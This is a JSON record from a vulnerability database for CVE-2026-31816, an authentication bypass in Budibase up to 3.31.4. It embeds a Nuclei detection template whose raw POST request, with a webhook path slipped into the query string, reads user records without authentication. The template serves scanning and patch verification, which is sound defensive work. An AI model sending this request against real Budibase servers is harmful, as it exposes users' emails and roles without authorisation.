{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-31816/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-31816/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-31816/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-31816/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-31816/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-31816/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-31816"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-31816"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-31816.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-31816\n\ninfo:\n  name: Budibase - Authentication Bypass\n  author: theamanrawat\n  severity: critical\n  description: |\n    Budibase <= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.\n  impact: |\n    Unauthenticated remote attackers can bypass all authentication and authorization to access any server-side API endpoint.\n  remediation: |\n    Update to a version later than 3.31.4 or latest available version.\n  reference:\n    - https://github.com/Budibase/budibase/security/advisories/GHSA-gw94-hprh-4wj8\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-31816\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-31816\n    epss-score: 0.16683\n    epss-percentile: 0.97038\n    cwe-id: CWE-74\n  metadata:\n    max-request: 1\n    verified: true\n  tags: cve,cve2026,budibase,auth-bypass,vuln,unauthenticated,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/ta_users/search?/webhooks/trigger HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        x-budibase-app-id: {{app_id}}\n\n        {\"query\":{},\"limit\":1000}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"email\", \"roleId\", \"status\")'\n        condition: and\n# digest: 4b0a00483046022100f4e23fd265a39dcdeeedc164ab5ba5e755327f7db5d0a1a53a7d979d82b402f2022100db636d5c713dc82da88a2bb8a0a9f7b59ecb72a6fecc1f9f1ce7fec440ebdee9:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-31816"}